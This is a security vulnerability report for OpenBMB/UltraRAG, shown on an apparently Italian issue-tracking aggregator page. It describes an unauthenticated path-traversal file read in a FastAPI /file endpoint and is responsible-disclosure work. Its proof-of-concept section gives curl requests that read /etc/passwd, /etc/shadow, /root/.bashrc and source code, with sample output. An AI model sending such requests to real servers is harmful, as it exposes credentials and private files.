【Security Vulnerability Report】CWE-22 /file endpoint unauthenticated arbitrary file read (CVSS 7.5)
I maintainer di solito rispondono entro 5 giorni
Valutazione
- Difficoltà
- 3/5
- Tempo stimato
- 1-2 giorni
- Idoneità per principianti
- 72/100
Direzione di ricerca
Start in script/case_study.py at get_file(path), then trace STATE.static_roots initialization through _collect_image_dirs() and the startup handling around lines 741-760. Reproduce the reported curl request with no static roots, then verify that paths outside configured roots are rejected while permitted files retain the intended behavior.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Security Vulnerability Report -- CWE-22
Summary
The /file endpoint completely skips path restriction validation when STATE.static_roots is an empty list, allowing attackers to read any file readable by the server process via arbitrary path parameters, constituting an unauthenticated arbitrary file read vulnerability.
Vulnerability Description
Affected Repository: https://github.com/OpenBMB/UltraRAG
Branch: main
Commit: a763d34432007fcd1b261209f222bb10df907beb
Static Analysis Report
Vulnerability Overview
The /file endpoint (script/case_study.py:690) serves local files (primarily images) directly to the frontend. This endpoint accepts a file path via the query parameter path and returns the file content using FileResponse. The code intends to restrict readable files to specified static resource directories via a STATE.static_roots whitelist mechanism, but has a critical logic flaw: when STATE.static_roots is an empty list [], Python evaluates if STATE.static_roots: as False, causing the entire path whitelist validation to be completely skipped, allowing attackers to pass any absolute path to read any file within the server process's permission scope.
Exploitation Prerequisites
| Condition | Description |
|---|---|
| Authentication | No authentication required, the endpoint is fully public |
| Network Accessibility | Requires access to the FastAPI service port (default 127.0.0.1:8080, can be configured to 0.0.0.0 via --host) |
| Configuration Dependencies | STATE.static_roots is an empty list. When the --static-root parameter is not specified at startup and the data files do not contain any image paths (.png/.jpg/.jpeg/.gif/.webp/.bmp/.svg), _collect_image_dirs() returns an empty list, and STATE.static_roots remains empty |
| Other Prerequisites | None |
Trigger Location
script/case_study.py:690-706
@app.get("/file")
def get_file(path: str):
# Security: only serve files under configured static roots (if provided / detected)
real = os.path.realpath(path)
if STATE.static_roots: # <-- when static_roots=[] this is False, skipping all validation
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime) # <-- directly returns any readable file
Data Flow Overview
- HTTP GET
/file?path=/etc/passwd-> user input enters via query parameterpath get_file(path)(script/case_study.py:691) -> FastAPI automatically binds the query parameter to the function parameterpathos.path.realpath(path)(script/case_study.py:693) -> resolves the user input to an absolute path (resolving symlinks and..), but does not restrict the path rangeif STATE.static_roots:(script/case_study.py:694) -> whenstatic_rootsis an empty list, the condition isFalse, and the whitelist validation is entirely skippedos.path.exists(real)(script/case_study.py:703) -> only checks if the file exists, no security validationFileResponse(real)(script/case_study.py:706) -> returns the target file content as the HTTP response body to the client
Data Flow Detailed Code Analysis
Chain 1: User Input -> Path Resolution
Location: script/case_study.py:691-693
@app.get("/file")
def get_file(path: str):
# Security: only serve files under configured static roots (if provided / detected)
real = os.path.realpath(path)
- External input: Query parameter
path, automatically extracted from the HTTP request's query string by the FastAPI framework and bound to the function parameterpath(typestr, no validation) - Operations at this layer: Calls
os.path.realpath(path)to resolve the input to a normalized absolute path.realpathresolves symlinks and..components, but does not restrict the path range -- e.g.,os.path.realpath("/etc/passwd")returns/etc/passwd - Data passing: The resolved path is passed as local variable
realto subsequent logic
Chain 2: Path Whitelist Validation (Bypassed)
Location: script/case_study.py:694-702
if STATE.static_roots:
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
- External input: Variable
real(from Chain 1) - Operations at this layer: Checks whether
STATE.static_rootsis truthy.STATE.static_rootsis initialized as an empty list[](script/case_study.py:23).static_rootsremains empty when the following conditions are simultaneously met:- The
--static-rootcommand line argument is not passed at startup (script/case_study.py:742) _collect_image_dirs(STATE.cases)returns an empty list (script/case_study.py:753), i.e., the data files do not contain any file paths with image extensions
- The
- Critical flaw: In Python, an empty list
[]has a boolean value ofFalse, soif STATE.static_roots:evaluates to false, and the entire whitelist validation block is skipped, with control flow proceeding directly to the next step - Data passing: Variable
realis passed as-is to the next layer, without any security filtering
Chain 3: File Existence Check + File Return
Location: script/case_study.py:703-706
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime)
- External input: Variable
real(from Chain 1, unfiltered by Chain 2) - Operations at this layer:
os.path.exists(real)only verifies the file exists, no security restrictionguess_type(real)guesses the MIME type based on file extensionFileResponse(real)returns the file content as an HTTP response, including the entire file content
- Data passing: File content is directly returned as the HTTP response body to the attacker
static_roots Initialization Path Analysis
Location: script/case_study.py:741-760
# Configure static roots (manual > auto-detect)
if args.static_root:
seen = set()
roots = []
for r in args.static_root:
r = os.path.realpath(r)
if r not in seen:
roots.append(r)
seen.add(r)
STATE.static_roots = roots
else:
STATE.static_roots = _collect_image_dirs(STATE.cases)
if STATE.static_roots:
print("[OK] Static roots:")
for r in STATE.static_roots:
print(" -", r)
else:
print("[Info] No static roots detected; image paths will be shown as text.")
- When the user does not specify
--static-rootparameter,_collect_image_dirs()is called for auto-detection _collect_image_dirs()(script/case_study.py:149-178) iterates through values in the data, only collecting directories containing image extensions- If the data contains no image paths, the function returns an empty list
- The code's log message at line 760 explicitly acknowledges that
static_rootsbeing empty is an expected normal state
CVSS Breakdown
CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N -> 7.5 (High)
| Vector | Value | Reason |
|---|---|---|
| Attack Vector (AV) | Network (N) | Triggered remotely via HTTP GET request, exploitable as long as the service port is reachable |
| Attack Complexity (AC) | Low (L) | No special conditions or timing required, a single HTTP request triggers it |
| Privileges Required (PR) | None (N) | The endpoint has no authentication mechanism, no credentials needed |
| User Interaction (UI) | None (N) | No user interaction required, attacker can independently initiate the request |
| Scope (S) | Unchanged (U) | The vulnerability only affects the FastAPI process's own file read permission scope, no security boundary crossing |
| Confidentiality (C) | High (H) | Can read any sensitive file within the process's permission scope (e.g., /etc/passwd, configuration files, key files, source code, etc.), causing serious information leakage |
| Integrity (I) | None (N) | This vulnerability only involves file reading, does not modify any data |
| Availability (A) | None (N) | This vulnerability does not affect system availability |
PoC Verification Report
/file Endpoint Unauthenticated Arbitrary File Read
Vulnerability Summary
- Vulnerability name: /file endpoint unauthenticated arbitrary file read
- Affected component/port: FastAPI service (script/case_study.py, default 127.0.0.1:8080)
- Vulnerability brief: When STATE.static_roots is an empty list, the /file endpoint's path whitelist validation is completely skipped, allowing attackers to read any file within the server process's permission scope via the path query parameter
- Root cause code snippet:
@app.get("/file")
def get_file(path: str):
real = os.path.realpath(path)
if STATE.static_roots: # empty list [] has boolean value False, skipping all validation
allowed = False
for root in STATE.static_roots:
r = os.path.realpath(root)
if real == r or real.startswith(r + os.sep):
allowed = True
break
if not allowed:
return PlainTextResponse("Forbidden", status_code=403)
if not os.path.exists(real):
return PlainTextResponse("Not Found", status_code=404)
mime = guess_type(real)[0] or "application/octet-stream"
return FileResponse(real, media_type=mime)
- Brief data flow:
HTTP GET /file?path=/etc/passwd
|
get_file(path="/etc/passwd") (script/case_study.py:691)
|
real = os.path.realpath("/etc/passwd") -> "/etc/passwd" (script/case_study.py:693)
|
if STATE.static_roots: -> False (empty list) -> skip whitelist validation (script/case_study.py:694)
|
os.path.exists("/etc/passwd") -> True (script/case_study.py:703)
|
FileResponse("/etc/passwd") -> entire file content returned to attacker (script/case_study.py:706)
Exploitation Conditions
| Condition | Description |
|---|---|
| Authentication | No authentication required, the endpoint is fully public |
| Network Accessibility | Requires access to the FastAPI service port (default 127.0.0.1:8080, can be exposed to the network via --host 0.0.0.0) |
| Configuration Dependencies | STATE.static_roots is an empty list: at startup no --static-root parameter specified and data files contain no image paths (.png/.jpg/.jpeg/.gif/.webp/.bmp/.svg), _collect_image_dirs() returns an empty list |
| Other Prerequisites | None |
Exploitation Verification
Test 1: Read /etc/passwd System User File
Hypothesis: When static_roots is empty, the /file endpoint does not perform any path restriction validation, allowing the attacker to read system user information by passing the /etc/passwd path.
Expected behavior: HTTP 200 response, returning the complete content of /etc/passwd.
Pass criteria: HTTP status code 200 and the response body contains system user information strings such as "root❌0:0".
curl -s -o response.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/etc/passwd"
Actual result: HTTP status code 200, response body 1229 bytes, containing complete /etc/passwd content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
... (24 lines total of system user information)
Verdict: Hypothesis confirmed -- successfully read /etc/passwd, the endpoint performed no path restriction validation.
Test 2: Read Application Source Code
Hypothesis: The attacker can read the FastAPI application's own source code file via the /file endpoint, obtaining all business logic and security implementation details.
Expected behavior: HTTP 200 response, returning the complete source code of case_study.py.
Pass criteria: HTTP status code 200 and the response body contains source code keywords (such as "FastAPI", "get_file", etc.).
curl -s -o response.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/root/workspace/repo/script/case_study.py"
Actual result: HTTP status code 200, response body 29105 bytes (complete source code), first 20 lines:
# python ./script/case_study.py --data output/memory.json --host 0.0.0.0 --port 8080 --title "Case Study Viewer"
import argparse
import json
import os
from typing import Any, List
from fastapi import FastAPI
from fastapi.responses import HTMLResponse, JSONResponse, PlainTextResponse, FileResponse
from mimetypes import guess_type
from fastapi.middleware.cors import CORSMiddleware
import uvicorn
app = FastAPI(title="Case Study Viewer Service")
class State:
data_path: str = ""
data_files: List[str] = []
title: str = "Case Study Viewer"
cases: List[List[dict]] = []
static_roots: List[str] = []
Verdict: Hypothesis confirmed -- successfully read 29KB of complete source code, the attacker can obtain all security validation logic, route definitions, and data processing flows.
Test 3: Read High-Sensitivity System Files (/etc/shadow + /root/.bashrc)
Hypothesis: The attacker can not only read general system files, but also high-sensitivity files such as the password hash file /etc/shadow and the user shell configuration file /root/.bashrc.
Expected behavior: HTTP 200 response, returning the content of /etc/shadow and /root/.bashrc.
Pass criteria: HTTP status code 200 and /etc/shadow response body contains password hash format fields (such as "root:*:" or "root:$").
# Read /etc/shadow
curl -s -o shadow.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/etc/shadow"
# Read /root/.bashrc
curl -s -o bashrc.txt -w "HTTP_CODE:%{http_code}" "http://127.0.0.1:8080/file?path=/root/.bashrc"
Actual result:
/etc/shadow -- HTTP status code 200, response body 645 bytes:
root:*:20631:0:99999:7:::
daemon:*:20631:0:99999:7:::
bin:*:20631:0:99999:7:::
/root/.bashrc -- HTTP status code 200, response body 3127 bytes, containing complete bash configuration:
# ~/.bashrc: executed by bash(1) for non-login shells.
...
HISTSIZE=1000
HISTFILESIZE=2000
...
. "/root/.cargo/env"
Verdict: Hypothesis confirmed -- successfully read /etc/shadow (password hash file) and /root/.bashrc (user configuration file), proving the vulnerability can cause serious information leakage.
Comprehensive Conclusion
All three hypotheses are confirmed. Under the condition that STATE.static_roots is an empty list (at startup, no --static-root specified and data files have no image paths), the /file endpoint's path whitelist validation is completely skipped. An attacker without any authentication can read any file within the server process's permission scope via a single HTTP GET request. The following were successfully read:
- /etc/passwd (system user list)
- /root/workspace/repo/script/case_study.py (complete application source code, 29KB)
- /etc/shadow (password hash file)
- /root/.bashrc (user shell configuration)
- /etc/hostname (hostname information)
The server log explicitly recorded "[Info] No static roots detected; image paths will be shown as text.", confirming that static_roots being empty is a normal expected state, not an anomalous configuration. This vulnerability is triggerable under the default startup method (no --static-root and data without images), constituting an unauthenticated arbitrary file read risk.
Severity
CVSS v3.1: 7.5 (High)
Vulnerability Category: CWE-22
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
- Lingua principale
- Python
- Stelle
- 5.7k
- Fork
- 456
- Merge medio
- 4g 15h
- PR unite (30g)
- 10
Preparare l'ambiente
- Include un Dockerfile o un file Docker Compose
- Nessun modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di OpenBMB/UltraRAG
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 38/100
I maintainer di solito rispondono entro 5 giorni
-
Difficoltà 3/5 1-2 giorni Idoneità per principianti 38/100
I maintainer di solito rispondono entro 5 giorni
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 15/100
I maintainer di solito rispondono entro 5 giorni
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 45/100
I maintainer di solito rispondono entro 5 giorni
-
[SECURITY] Arbitrary file read via absolute path in MCP prompt check_passages (CWE-22, CVSS 7.5)Aperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 48/100
I maintainer di solito rispondono entro 5 giorni
Tutte le issue di OpenBMB/UltraRAG
Issue simili
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 66/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
yt-project/yt#5624 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
-
bug
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
NousResearch/hermes-agent#148376 ·
I maintainer di solito rispondono entro 1 giorno
-
Analysis
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
SACGF/variantgrid#2615 ·
I maintainer di solito rispondono entro 1 giorno